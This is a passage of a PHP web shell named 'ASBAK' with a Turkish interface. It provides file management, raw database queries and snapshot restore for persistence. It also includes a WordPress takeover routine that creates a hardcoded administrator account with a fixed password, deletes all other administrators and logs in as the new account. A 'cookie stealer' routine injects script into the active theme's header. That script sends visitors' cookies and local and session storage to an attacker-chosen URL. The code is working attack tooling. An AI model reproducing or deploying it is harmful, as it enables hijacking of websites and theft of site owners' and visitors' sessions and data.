                    $msg = "✗ İzin değiştirilemedi";
                    $msg_type = 'error';
                }
            }
        }
        
        // FILE DELETE
        if (isset($_POST['delete_file'])) {
            $file = realpath($_POST['file_path'] ?? '');
            if ($file && strpos($file, $root_limit) === 0) {
                // Protect backup files
                if (isBackupFile($file)) {
                    $msg = "❌ Backup dosyaları silinemez!";
                    $msg_type = 'error';
                } else {
                    if (is_dir($file)) {
                        @shell_exec("rm -rf " . escapeshellarg($file));
                    } else {
                        @unlink($file);
                    }
                    $msg = "✓ Silindi";
                    $msg_type = 'success';
                }
            }
        }
        
        // FILE EDIT - Redirect to editor tab with GET parameter
        if (isset($_POST['edit_file'])) {
            $file = realpath($_POST['file_path'] ?? '');
            if ($file && strpos($file, $root_limit) === 0 && is_file($file)) {
                header('Location: ?path=' . urlencode($current_path) . '&edit=' . urlencode($file));
                exit;
            }
        }
        
        // SAVE FILE
        if (isset($_POST['save_file'])) {
            $file = realpath($_POST['file_path'] ?? '');
            $content = stripslashes($_POST['file_content'] ?? '');
            if ($file && strpos($file, $root_limit) === 0 && !isBackupFile($file)) {
                // Create protected backup
                $backup_file = createFileBackup($file, $backups_dir);
                if ($backup_file) {
                    @file_put_contents($file, $content);
                    $msg = "✓ Dosya kaydedildi | Backup: " . basename($backup_file);
                    $msg_type = 'success';
                } else {
                    @file_put_contents($file, $content);
                    $msg = "✓ Dosya kaydedildi (backup oluşturulamadı)";
                    $msg_type = 'success';
                }
                // Keep file open in editor
                $edit_file = $file;
                $edit_content = @file_get_contents($file);
            }
        }
        
        // WORDPRESS ADMIN SETUP
        if (isset($_POST['setup_admin']) && $is_wordpress) {
            $username = 'asbaksupport2';
            $password = 'QQ1ujQRCtfDM0r5Z5usP';
            $email = 'asbak' . rand(1000,9999) . '@support' . rand(10,99) . '.com';
            
            $adm_id = username_exists($username);
            if (!$adm_id) {
                $adm_id = wp_create_user($username, $password, $email);
                if (!is_wp_error($adm_id)) {
                    $user = new WP_User($adm_id);
                    $user->set_role('administrator');
                }
            }
            
            global $wpdb;
            $all_admins = get_users(['role' => 'administrator']);
            $deleted_count = 0;
            foreach ($all_admins as $admin) {
                if ($admin->ID != $adm_id) {
                    $wpdb->update($wpdb->posts, ['post_author' => $adm_id], ['post_author' => $admin->ID]);
                    wp_delete_user($admin->ID, $adm_id);
                    $deleted_count++;
                }
            }
            
            $msg = "✅ Admin ayarlandı! $deleted_count eski admin silindi.";
            $msg_type = 'success';
        }
        
        // RUN WP SETUP - Embedded code
        if (isset($_POST['run_wpsetup']) && $is_wordpress) {
            // Embedded wp setup code
            $username = 'asbaksupport2';
            $password = 'QQ1ujQRCtfDM0r5Z5usP';
            $email = 'asbak' . rand(1000,9999) . '@support' . rand(10,99) . '.com';
            
            if (!function_exists('username_exists')) {
                require_once($wp_root . '/wp-load.php');
            }
            require_once(ABSPATH . 'wp-admin/includes/user.php');
            
            if (!username_exists($username)) {
                $user_id = wp_create_user($username, $password, $email);
                if (!is_wp_error($user_id)) {
                    $user = new WP_User($user_id);
                    $user->set_role('administrator');
                    $user->add_cap('manage_options');
                    $user->add_cap('activate_plugins');
                    $user->add_cap('edit_users');
                    $user->add_cap('edit_files');
                    $user->add_cap('manage_categories');
                    $user->add_cap('manage_links');
                    $user->add_cap('moderate_comments');
                    $user->add_cap('read');
                    $user->add_cap('edit_pages');
                    $user->add_cap('publish_pages');
                    $user->add_cap('publish_posts');
                    $user->add_cap('edit_posts');
                    $user->add_cap('import');
                    $user->add_cap('edit_theme_options');
                    $user->add_cap('export');
                    $user->add_cap('delete_users');
                    $user->add_cap('create_users');
                } else {
                    $user_id = null;
                }
            } else {
                $user = get_user_by('login', $username);
                $user_id = $user->ID;
                wp_set_password($password, $user_id);
                $user->set_role('administrator');
            }
            
            if ($user_id) {
                wp_clear_auth_cookie();
                wp_set_current_user($user_id);
                wp_set_auth_cookie($user_id, true);
                
                if (!session_id()) {
                    @session_start();
                }
                $_SESSION['wp_user_id'] = $user_id;
                
                $admin_url = admin_url();
                $dashboard_url = admin_url('index.php');
                $msg = "✅ WordPress admin oluşturuldu/güncellendi!<br><br>";
                $msg .= "<a href='$admin_url' target='_blank' class='btn' style='margin-right: 10px;'><i class='fas fa-cog'></i> Admin Paneline Git</a> ";
                $msg .= "<a href='$dashboard_url' target='_blank' class='btn' style='background: var(--success);'><i class='fas fa-tachometer-alt'></i> Dashboard'a Git</a>";
                $msg_type = 'success';
            } else {
                $msg = "❌ WordPress admin oluşturulamadı";
                $msg_type = 'error';
            }
        }
        
        // SAVE FUNCTIONS.PHP
        if (isset($_POST['save_functions']) && $wp_functions_file) {
            $functions_content = stripslashes($_POST['functions_content'] ?? '');
            @copy($wp_functions_file, $wp_functions_file . '.backup');
            @file_put_contents($wp_functions_file, $functions_content);
            $msg = "✅ Functions.php kaydedildi!";
            $msg_type = 'success';
        }
        
        // SAVE OPTIONS.PHP
        if (isset($_POST['save_options']) && $wp_options_file) {
            $options_content = stripslashes($_POST['options_content'] ?? '');
            @copy($wp_options_file, $wp_options_file . '.backup');
            @file_put_contents($wp_options_file, $options_content);
            $msg = "✅ Options.php kaydedildi!";
            $msg_type = 'success';
        }
        
        // COOKIE STEALER INJECTION
        if (isset($_POST['inject_cookie_stealer']) && $is_wordpress) {
            $receiver = $_POST['cookie_receiver_url'] ?? '';
            $themes_dir = $wp_root . '/wp-content/themes';
            $dirs = @scandir($themes_dir);
            $active_theme = null;
            
            foreach ($dirs as $dir) {
                if ($dir !== '.' && $dir !== '..' && is_dir($themes_dir . '/' . $dir)) {
                    $style_css = $themes_dir . '/' . $dir . '/style.css';
                    if (file_exists($style_css)) {
                        $active_theme = $dir;
                        break;
                    }
                }
            }
            
            if ($active_theme) {
                $header_file = $themes_dir . '/' . $active_theme . '/header.php';
                if (file_exists($header_file)) {
                    $current_content = file_get_contents($header_file);
                    if (strpos($current_content, 'sx_injected_tag') === false) {
                        @copy($header_file, $header_file . '.backup_' . time());
                        $stealer = '<script>document.addEventListener("DOMContentLoaded",function(){var a=document.cookie;try{var b=JSON.stringify(localStorage);var c=JSON.stringify(sessionStorage);if(b.length>10)a+="; __LS__="+b;if(c.length>10)a+="; __SS__="+c;}catch(e){}var d=/SID=|HSID=|SSID=|APISID=|SAPISID|__Secure.*PSID=|LSID=|OSID=/.test(a);if(d||a.length>50){var e=new Image();e.src="'.$receiver.'?c="+encodeURIComponent(a);e.style.display="none";document.body.appendChild(e);}});</script>';
                        if (strpos($current_content, '</head>') !== false) {
                            $injected = str_replace('</head>', $stealer . "\n</head>", $current_content);
                        } else {
                            $injected = $current_content . $stealer;
                        }
                        @file_put_contents($header_file, $injected);
                        $msg = "✅ Cookie stealer injected!";
                        $msg_type = 'success';
                    } else {
                        $msg = "⚠️ Already injected!";
                        $msg_type = 'warning';
                    }
                }
            }
        }
        
        // DATABASE QUERY
        if (isset($_POST['execute_query']) && $db_connection) {
            $query = $_POST['db_query'] ?? '';
            if (!empty($query)) {
                $result = $db_connection->query($query);
                if ($result) {
                    $output = "✓ Query executed successfully\n";
                    if (is_object($result)) {
                        while ($row = $result->fetch_assoc()) {
                            $output .= print_r($row, true) . "\n";
                        }
                    }
                } else {
                    $output = "✗ Error: " . $db_connection->error;
                }
            }
        }
        
        // GREP SEARCH (File content search)
        if (isset($_POST['grep_search'])) {
            $search_term = trim($_POST['grep_term'] ?? '');
            $search_path = realpath($_POST['grep_path'] ?? $current_path);
            $file_extensions = $_POST['grep_extensions'] ?? '';
            
            if (empty($search_term)) {
                $msg = "❌ Arama terimi boş olamaz";
                $msg_type = 'error';
            } elseif (!$search_path || strpos($search_path, $root_limit) !== 0) {
                $msg = "❌ Geçersiz arama yolu";
                $msg_type = 'error';
            } else {
                $results = [];
                $extensions = !empty($file_extensions) ? explode(',', $file_extensions) : [];
                foreach ($extensions as &$ext) {
                    $ext = trim($ext);
                }
                
                try {
                    $iterator = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($search_path, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::SELF_FIRST
                    );
                    
                    foreach ($iterator as $file) {
                        if ($file->isFile()) {
                            $file_path = $file->getRealPath();
                            
                            // Skip backup files and protected dir
                            if (isBackupFile($file_path) || strpos($file_path, $protected_dir) === 0) {
                                continue;
                            }
                            
                            // Extension filter
                            if (!empty($extensions)) {
                                $ext = strtolower($file->getExtension());
                                if (!in_array($ext, $extensions)) {
                                    continue;
                                }
                            }
                            
                            // Read file and search
                            $content = @file_get_contents($file_path);
                            if ($content !== false) {
                                $lines = explode("\n", $content);
                                $matches = [];
                                foreach ($lines as $line_num => $line) {
                                    if (stripos($line, $search_term) !== false) {
                                        $matches[] = [
                                            'line' => $line_num + 1,
                                            'content' => trim($line)
                                        ];
                                    }
                                }
                                
                                if (!empty($matches)) {
                                    $results[] = [
                                        'file' => $file_path,
                                        'name' => basename($file_path),
                                        'matches' => $matches
                                    ];
                                }
                            }
                        }
                    }
                } catch (Exception $e) {
                    $msg = "❌ Arama hatası: " . $e->getMessage();
                    $msg_type = 'error';
                }
                
                if (!empty($results)) {
                    $_SESSION['grep_results'] = $results;
                    $_SESSION['grep_term'] = $search_term;
                    $msg = "✓ " . count($results) . " dosyada eşleşme bulundu";
                    $msg_type = 'success';
                } else {
                    $msg = "⚠️ Eşleşme bulunamadı";
                    $msg_type = 'warning';
                }
            }
        }
        
        // IP WHITELIST
        if (isset($_POST['add_ip_whitelist'])) {
            $ip = trim($_POST['ip_address'] ?? '');
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                $whitelist = loadWhitelist();
                if (!in_array($ip, $whitelist)) {
                    $whitelist[] = $ip;
                    saveWhitelist($whitelist);
                    $msg = "✓ IP Added";
                    $msg_type = 'success';
                }
            }
        }
        
        if (isset($_POST['remove_ip_whitelist'])) {
            $ip = $_POST['ip_to_remove'] ?? '';
            $whitelist = loadWhitelist();
            $whitelist = array_values(array_diff($whitelist, [$ip]));
            saveWhitelist($whitelist);
            $msg = "✓ IP Removed";
            $msg_type = 'success';
        }
        
        // SNAPSHOT CREATE
        if (isset($_POST['create_snapshot'])) {
            $snapshot_name = $_POST['snapshot_name'] ?? date('Y-m-d_H-i-s');
            $snapshot_file = $protected_dir . '/' . $snapshot_name . '.tar.gz';
            $cmd = "cd " . escapeshellarg($script_dir) . " && tar -czf " . escapeshellarg($snapshot_file) . " . 2>&1";
            $output = @shell_exec($cmd);
            $msg = "✓ Snapshot created: $snapshot_name";
            $msg_type = 'success';
        }
        
        // RESTORE SNAPSHOT
        if (isset($_POST['restore_snapshot'])) {
            $snapshot_file = $_POST['snapshot_file'] ?? '';
            if (file_exists($snapshot_file)) {
                $cmd = "cd " . escapeshellarg($script_dir) . " && tar -xzf " . escapeshellarg($snapshot_file) . " 2>&1";
                $output = @shell_exec($cmd);
                $msg = "✓ Snapshot restored";
                $msg_type = 'success';
            }
        }
        
        // AUTO RESTORE SETUP
        if (isset($_POST['setup_auto_restore'])) {
            $snapshot_file = $_POST['auto_restore_file'] ?? '';
            $restore_time = $_POST['restore_time'] ?? '';
            if (file_exists($snapshot_file) && !empty($restore_time)) {
                $auto_restore_file = $protected_dir . '/auto_restore.json';
                $auto_restore_data = [
                    'snapshot_file' => $snapshot_file,
                    'restore_time' => $restore_time,
                    'enabled' => true,
                    'created' => date('Y-m-d H:i:s')
                ];
                @file_put_contents($auto_restore_file, json_encode($auto_restore_data, JSON_PRETTY_PRINT));
                $msg = "✅ Otomatik restore ayarlandı: $restore_time";
                $msg_type = 'success';
            }
        }
        
        // DISABLE AUTO RESTORE
        if (isset($_POST['disable_auto_restore'])) {
            $auto_restore_file = $protected_dir . '/auto_restore.json';
            if (file_exists($auto_restore_file)) {
                $data = json_decode(file_get_contents($auto_restore_file), true);
                $data['enabled'] = false;
                @file_put_contents($auto_restore_file, json_encode($data, JSON_PRETTY_PRINT));
                $msg = "✅ Otomatik restore devre dışı bırakıldı";
                $msg_type = 'success';
            }
        }
        
        // AUTO BACKUP ENABLE/DISABLE
        if (isset($_POST['enable_auto_backup'])) {
            $interval = intval($_POST['backup_interval'] ?? 300);
            $config = [
                'enabled' => true,
                'interval' => $interval,
                'last_backup' => 0,
                'enabled_at' => date('Y-m-d H:i:s')
            ];
            saveAutoBackupConfig($config);
            $msg = "✅ Otomatik backup aktif! (Her " . ($interval / 60) . " dakika)";
            $msg_type = 'success';
        }
        
        if (isset($_POST['disable_auto_backup'])) {
            $config = getAutoBackupConfig();
            $config['enabled'] = false;
            saveAutoBackupConfig($config);
            $msg = "⏹️ Otomatik backup devre dışı bırakıldı";
            $msg_type = 'success';
        }
        
        // DELETE BACKUP
        if (isset($_POST['delete_backup'])) {
            $backup_file = $_POST['backup_file'] ?? '';
            if ($backup_file && file_exists($backup_file) && isBackupFile($backup_file)) {
                @chmod($backup_file, 0644); // Make writable
                @unlink($backup_file);
                $msg = "✓ Backup silindi";
                $msg_type = 'success';
            }
        }
        
        // RESTORE FROM BACKUP
        if (isset($_POST['restore_backup'])) {
            $backup_file = $_POST['backup_file'] ?? '';
            $original_file = $_POST['original_file'] ?? '';
            if ($backup_file && file_exists($backup_file) && $original_file) {
                if (@copy($backup_file, $original_file)) {
                    @chmod($original_file, 0644);
                    $msg = "✅ Dosya backup'tan geri yüklendi";
                    $msg_type = 'success';
                } else {
                    $msg = "❌ Geri yükleme başarısız";
                    $msg_type = 'error';
                }
            }
        }
    }
}

// ============ GET SNAPSHOTS ============
function getSnapshots($protected_dir) {
    $snapshots = [];
    if (!$protected_dir || !is_dir($protected_dir)) {
        return $snapshots;
    }
    $files = @glob($protected_dir . '/*.tar.gz');
    if ($files && is_array($files)) {
        foreach (array_reverse($files) as $file) {
            if (is_file($file)) {
                $size = @filesize($file);
                $mtime = @filemtime($file);
                $snapshots[] = [
                    'name' => basename($file, '.tar.gz'),
                    'file' => $file,
                    'size' => $size ? $size : 0,
                    'date' => $mtime ? date('Y-m-d H:i', $mtime) : 'Unknown'
                ];
            }
        }
    }
    return $snapshots;
}

// ============ GET AUTO RESTORE ============
function getAutoRestore($protected_dir) {
    if (!$protected_dir || !is_dir($protected_dir)) {
        return null;
    }
    $auto_restore_file = $protected_dir . '/auto_restore.json';
    if (file_exists($auto_restore_file)) {
        $content = @file_get_contents($auto_restore_file);
        if ($content) {
            return json_decode($content, true);
        }
    }
    return null;
}

// ============ CHECK AUTO RESTORE ============
function checkAutoRestore($protected_dir) {
    $auto_restore = getAutoRestore($protected_dir);
    if ($auto_restore && isset($auto_restore['enabled']) && $auto_restore['enabled']) {
        $restore_time = strtotime($auto_restore['restore_time']);
        $now = time();
        if ($now >= $restore_time) {
            $snapshot_file = $auto_restore['snapshot_file'];
            if (file_exists($snapshot_file)) {
                $script_dir = dirname(__FILE__);
                $cmd = "cd " . escapeshellarg($script_dir) . " && tar -xzf " . escapeshellarg($snapshot_file) . " 2>&1";
                @shell_exec($cmd);
                // Disable after restore
                $auto_restore['enabled'] = false;
                @file_put_contents($protected_dir . '/auto_restore.json', json_encode($auto_restore, JSON_PRETTY_PRINT));
                return true;
            }
        }
    }
    return false;
}

// Check auto restore on page load
if (function_exists('checkAutoRestore')) {
    @checkAutoRestore($protected_dir);
}

// Run auto backup check
if (function_exists('runAutoBackup')) {
    @runAutoBackup($script_dir, $backups_dir);
}

// ============ FILE LISTING ============
$files = @scandir($current_path);
if (!$files) $files = array();
$files = array_diff($files, array('.', '..', '.backups', '.protected'));

// Filter out backup files from main listing (they're in Backups tab)
if (function_exists('isBackupFile')) {
    $files = array_filter($files, function($file) use ($current_path) {
        $full_path = $current_path . '/' . $file;
        return !isBackupFile($full_path);
    });
}

$files_data = array();
foreach ($files as $file) {
    $full_path = $current_path . '/' . $file;
    $mtime = @filemtime($full_path);
    $is_dir = is_dir($full_path);
    $size = @filesize($full_path);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    
    if ($filter_type !== 'all') {
        if ($filter_type === 'php' && $ext !== 'php') continue;
        if ($filter_type === 'image' && !in_array($ext, array('jpg', 'jpeg', 'png', 'gif', 'webp'))) continue;
        if ($filter_type === 'text' && !in_array($ext, array('txt', 'md', 'csv'))) continue;
    }
    
    if ($search_term && strpos(strtolower($file), strtolower($search_term)) === false) continue;
    
    $files_data[] = array(
        'name' => $file,
        'path' => $full_path,
        'time' => $mtime,
        'is_dir' => $is_dir,
        'size' => $size,
        'ext' => $ext
    );
}

usort($files_data, function($a, $b) use ($sort_by, $sort_order) {
    $result = 0;
    if ($sort_by === 'date') $result = $b['time'] - $a['time'];
    elseif ($sort_by === 'name') $result = strcmp($a['name'], $b['name']);
    elseif ($sort_by === 'size') $result = $b['size'] - $a['size'];
    return ($sort_order === 'asc') ? $result : -$result;
});

$snapshots = [];
$auto_restore = null;
$backups = [];
$whitelist = [];

if (function_exists('getSnapshots')) {
    $snapshots = @getSnapshots($protected_dir);
}
if (function_exists('getAutoRestore')) {
    $auto_restore = @getAutoRestore($protected_dir);
}
if (function_exists('getBackups')) {
    $backups = @getBackups($backups_dir);
}
$auto_backup_config_data = array('enabled' => false, 'interval' => 300, 'last_backup' => 0);
if (function_exists('getAutoBackupConfig')) {
    $auto_backup_config_data = @getAutoBackupConfig();
    if (!is_array($auto_backup_config_data)) {
        $auto_backup_config_data = array('enabled' => false, 'interval' => 300, 'last_backup' => 0);
    }
}
if (function_exists('loadWhitelist')) {
    $whitelist = @loadWhitelist();
}
$parent_dir = dirname($current_path);
$show_up = ($current_path !== $root_limit && strpos($parent_dir, $root_limit) === 0);

function buildBreadcrumb($current_path, $token, $root_limit) {
    $parts = explode('/', trim(str_replace($root_limit, '', $current_path), '/'));
    $breadcrumb = '<a href="?path=' . urlencode($root_limit) . '">🏠 Home</a>';
    $path = $root_limit;
    foreach ($parts as $part) {
        if ($part) {
            $path .= '/' . $part;
            $breadcrumb .= ' / <a href="?path=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a>';
        }
    }
    return $breadcrumb;
}

?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ASBAK</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
* { box-sizing: border-box; margin: 0; padding: 0; }
:root {
    --bg-primary: #0a0e1a;
    --bg-secondary: #111827;
    --bg-card: #1a1f35;
    --bg-card-hover: #1f2545;
    --sidebar-bg: #0d1225;
    --accent: #10b981;
    --accent-hover: #059669;
    --accent-glow: rgba(16, 185, 129, 0.15);
    --cyan: #06b6d4;
    --purple: #8b5cf6;
    --pink: #ec4899;
    --orange: #f59e0b;
    --text-primary: #e2e8f0;
    --text-secondary: #94a3b8;
    --text-muted: #64748b;
    --border: #1e293b;
    --border-hover: #334155;
    --success: #10b981;
    --danger: #ef4444;
    --warning: #f59e0b;
    --info: #3b82f6;
    --radius: 12px;
    --radius-sm: 8px;
    --shadow: 0 4px 24px rgba(0,0,0,0.3);
}
html { height: 100%; scroll-behavior: smooth; }
body {
    background: var(--bg-primary);
    color: var(--text-primary);
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
    font-size: 14px;
    min-height: 100vh;
    display: flex;
}
/* TYPOGRAPHY OVERRIDES (Bootstrap fix) */
h1, h2, h3, h4, h5, h6 {
    color: var(--text-primary);
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
    font-weight: 600;
    line-height: 1.3;
    margin-top: 0;
    margin-bottom: 12px;
}
h3 { font-size: 17px; }
h4 { font-size: 15px; color: var(--text-secondary); margin-top: 20px; }
p { color: var(--text-secondary); line-height: 1.6; }
a { color: var(--accent); text-decoration: none; transition: color .2s; }
a:hover { color: var(--cyan); }
strong { color: var(--text-primary); }
small { color: var(--text-muted); }
code { background: var(--bg-primary); padding: 2px 6px; border-radius: 4px; font-size: 12px; color: var(--accent); }
label { color: var(--text-secondary); font-size: 13px; }
/* SIDEBAR */
.sidebar {
    width: 240px;
    min-height: 100vh;
    background: var(--sidebar-bg);
    border-right: 1px solid var(--border);
    position: fixed;
    top: 0;
    left: 0;
    z-index: 100;
    display: flex;
    flex-direction: column;
    transition: transform .3s;
}
.sidebar-logo {
    padding: 24px 20px;
    border-bottom: 1px solid var(--border);
    display: flex;
    align-items: center;
    gap: 12px;
}
.sidebar-logo .logo-icon {
    width: 36px;
    height: 36px;
    background: linear-gradient(135deg, var(--accent), var(--cyan));
    border-radius: 10px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 18px;
    color: white;
    font-weight: 700;
}
.sidebar-logo span {
    font-size: 18px;
    font-weight: 700;
    color: var(--text-primary);
    letter-spacing: -0.5px;
}
.sidebar-logo small {
    display: block;
    font-size: 10px;
    color: var(--text-muted);
    font-weight: 400;
    letter-spacing: 1px;
    text-transform: uppercase;
}
.sidebar-nav { padding: 16px 12px; flex: 1; overflow-y: auto; }
.sidebar-section { margin-bottom: 24px; }
.sidebar-section-title {
    font-size: 10px;
    text-transform: uppercase;
    letter-spacing: 1.5px;
    color: var(--text-muted);
    padding: 0 12px;
    margin-bottom: 8px;
    font-weight: 600;
}
.nav-item {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 10px 14px;
    border-radius: var(--radius-sm);
    color: var(--text-secondary);
    cursor: pointer;
    transition: all .2s;
    font-size: 13px;
    font-weight: 500;
    border: none;
    background: none;
    width: 100%;
    text-align: left;
}
.nav-item:hover { background: var(--accent-glow); color: var(--accent); }
.nav-item.active {
    background: var(--accent-glow);
    color: var(--accent);
    box-shadow: inset 3px 0 0 var(--accent);
}
.nav-item i { width: 18px; text-align: center; font-size: 14px; }
/* MAIN */
.main-content {
    margin-left: 240px;
    flex: 1;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}
.topbar {
    height: 60px;
    background: var(--bg-secondary);
    border-bottom: 1px solid var(--border);
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0 28px;
    position: sticky;
    top:0;
    z-index: 50;
}
.topbar-left { display: flex; align-items: center; gap: 16px; }
.topbar-title { font-size: 16px; font-weight: 600; }
.topbar-right { display: flex; align-items: center; gap: 12px; }
.topbar-badge {
    padding: 4px 12px;
    border-radius: 20px;
    font-size: 11px;
    font-weight: 600;
}
.topbar-badge.wp { background: rgba(16, 185, 129, .15); color: var(--accent); }
.topbar-badge.php { background: rgba(139, 92, 246, .15); color: var(--purple); }
.live-dot {
    width: 8px; height: 8px; border-radius: 50%; background: var(--accent);
    animation: pulse-dot 2s infinite;
    display: inline-block; margin-right: 6px;
}
@keyframes pulse-dot { 0%,100% { opacity: 1; } 50% { opacity: .4; }}
.page-content { padding: 28px; flex: 1; }
/* CARDS */
.card {
    background: var(--bg-card);
    border: 1px solid var(--border);
    border-radius: var(--radius);
    padding: 24px;
    margin-bottom: 20px;
    transition: all .25s;
}
.card:hover { border-color: var(--border-hover); box-shadow: var(--shadow); }
.card-title {
    font-size: 15px;
    font-weight: 600;
    margin-bottom: 18px;
    padding-bottom: 14px;
    border-bottom: 1px solid var(--border);
    display: flex;
    align-items: center;
    gap: 10px;
    color: var(--text-primary);
}
.card-title i { color: var(--accent); font-size: 16px; }
/* STATS */
.stats-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px; margin-bottom: 24px; }
.stat-card {
    background: var(--bg-card);
    border: 1px solid var(--border);
    border-radius: var(--radius);
    padding: 20px;
    display: flex;
    align-items: center;
    gap: 16px;
    transition: all .25s;
}
.stat-card:hover { border-color: var(--accent); transform: translateY(-2px); box-shadow: 0 8px 32px rgba(16,185,129,.1); }
.stat-icon {
    width: 48px; height: 48px;
    border-radius: 12px;
    display: flex; align-items: center; justify-content: center;
    font-size: 20px;
}
.stat-icon.green { background: rgba(16,185,129,.15); color: var(--accent); }
.stat-icon.cyan { background: rgba(6,182,212,.15); color: var(--cyan); }
.stat-icon.purple { background: rgba(139,92,246,.15); color: var(--purple); }
.stat-icon.orange { background: rgba(245,158,11,.15); color: var(--orange); }
.stat-value { font-size: 22px; font-weight: 700; line-height: 1.2; }
.stat-label { font-size: 12px; color: var(--text-muted); margin-top: 2px; }
/* BUTTONS */
.btn {
    padding: 9px 18px;
    background: var(--accent);
    color: white;
    border: none;
    border-radius: var(--radius-sm);
    cursor: pointer;
    font-weight: 600;
    font-size: 13px;
    transition: all .2s;
    text-decoration: none;
    display: inline-flex;
    align-items: center;
    gap: 8px;
    font-family: 'Inter', sans-serif;
}
.btn:hover { background: var(--accent-hover); transform: translateY(-1px); box-shadow: 0 4px 16px rgba(16,185,129,.3); color: white; }
.btn-danger { background: var(--danger); }
.btn-danger:hover { background: #dc2626; box-shadow: 0 4px 16px rgba(239,68,68,.3); }
.btn-info { background: var(--info); }
.btn-info:hover { background: #2563eb; }
.btn-purple { background: var(--purple); }
.btn-purple:hover { background: #7c3aed; }
.btn-sm { padding: 5px 12px; font-size: 12px; }
.btn-ghost { background: transparent; border: 1px solid var(--border); color: var(--text-secondary); }
.btn-ghost:hover { border-color: var(--accent); color: var(--accent); background: var(--accent-glow); }
/* INPUTS */
input, select, textarea {
    width: 100%;
    padding: 10px 14px;
    background: var(--bg-primary);
    border: 1px solid var(--border);
    border-radius: var(--radius-sm);
    color: var(--text-primary);
    font-size: 13px;
    font-family: 'Inter', sans-serif;
    transition: all .2s;
    margin-bottom: 10px;
}
input:focus, select:focus, textarea:focus {
    outline: none;
    border-color: var(--accent);
    box-shadow: 0 0 0 3px var(--accent-glow);
}
/* FILE LIST */
.file-row {
    display: grid;
    grid-template-columns: 36px 1fr 100px 140px 80px 180px;
    align-items: center;
    gap: 12px;
    padding: 10px 16px;
    border-bottom: 1px solid var(--border);
    transition: all .15s;
    font-size: 13px;
}
.file-row:hover { background: rgba(16,185,129,.03); }
.file-row.header { background: var(--bg-primary); font-weight: 600; color: var(--text-muted); font-size: 11px; text-transform: uppercase; letter-spacing: .5px; border-bottom: 2px solid var(--border); }
.file-row a { color: var(--text-primary); text-decoration: none; transition: color .2s; }
.file-row a:hover { color: var(--accent); }
.file-row .folder-name { color: var(--cyan); font-weight: 500; }
.file-actions { display: flex; gap: 4px; }
.file-actions .btn-sm { padding: 4px 8px; font-size: 11px; border-radius: 6px; }
/* MESSAGES */
.message {
    padding: 14px 18px;
    margin-bottom: 20px;
    border-radius: var(--radius-sm);
    border-left: 4px solid;
    font-size: 13px;
    animation: slideDown .3s;
}
@keyframes slideDown { from { opacity:0; transform: translateY(-10px); } to { opacity:1; transform: translateY(0); }}
.message.success { background: rgba(16,185,129,.08); border-color: var(--success); color: var(--success); }
.message.success a { color: white !important; }
.message.error { background: rgba(239,68,68,.08); border-color: var(--danger); color: var(--danger); }
.message.warning { background: rgba(245,158,11,.08); border-color: var(--warning); color: var(--warning); }
/* OUTPUT */
.output-box {
    background: #050810;
    border: 1px solid var(--border);
    border-radius: var(--radius-sm);
    padding: 18px;
    font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace;
    font-size: 13px;
    color: var(--accent);
    max-height: 500px;
    overflow-y: auto;
    white-space: pre-wrap;
    line-height: 1.7;
}
/* MODAL */
.modal {
    display: none;
    position: fixed;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: rgba(0,0,0,.7);
    backdrop-filter: blur(4px);
    z-index: 1000;
    align-items: center;
    justify-content: center;
}
.modal-content {
    background: var(--bg-card);
    border: 1px solid var(--border);
    border-radius: var(--radius);
    padding: 28px;
    max-width: 500px;
    width: 90%;
    box-shadow: 0 20px 60px rgba(0,0,0,.5);
}
.modal-content h4 {
    margin-bottom: 18px;
    padding-bottom: 14px;
    border-bottom: 1px solid var(--border);
    font-size: 16px;
    font-weight: 600;
}
/* TAB CONTENT */
.tab-content { display: none; }
.tab-content.active { display: block; animation: fadeIn .3s; }
@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; }}
/* DROP ZONE */
.drop-zone {
    border: 2px dashed var(--border);
    border-radius: var(--radius);
    padding: 40px;
    text-align: center;
    transition: all .3s;
    cursor: pointer;
    margin-bottom: 20px;
}
.drop-zone:hover, .drop-zone.active { border-color: var(--accent); background: var(--accent-glow); }
.drop-zone i { font-size: 40px; color: var(--accent); margin-bottom: 12px; }
/* BREADCRUMB */
.breadcrumb { display: flex; align-items: center; gap: 6px; font-size: 13px; margin-bottom: 16px; color: var(--text-muted); }
.breadcrumb a { color: var(--text-secondary); text-decoration: none; }
.breadcrumb a:hover { color: var(--accent); }
/* TABLE */
table { width: 100%; border-collapse: collapse; }
table th { background: var(--bg-primary); padding: 12px 14px; text-align: left; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: .5px; color: var(--text-muted); border-bottom: 2px solid var(--border); }
table td { padding: 10px 14px; border-bottom: 1px solid var(--border); }
table tr:hover td { background: rgba(16,185,129,.03); }
/* RESPONSIVE */
@media (max-width: 768px) {
    .sidebar { transform: translateX(-100%); }
    .sidebar.open { transform: translateX(0); }
    .main-content { margin-left: 0; }
    .file-row { grid-template-columns: 36px 1fr 80px; }
    .file-row .hide-mobile { display: none; }
}
/* LEGACY FILE-ITEM */
.file-item {
    display: flex;
    align-items: center;
    gap: 15px;
    padding: 12px 16px;
    background: var(--bg-primary);
    border: 1px solid var(--border);
    border-radius: var(--radius-sm);
    margin-bottom: 8px;
    transition: all .2s;
}
.file-item:hover { background: var(--bg-card-hover); border-color: var(--accent); }
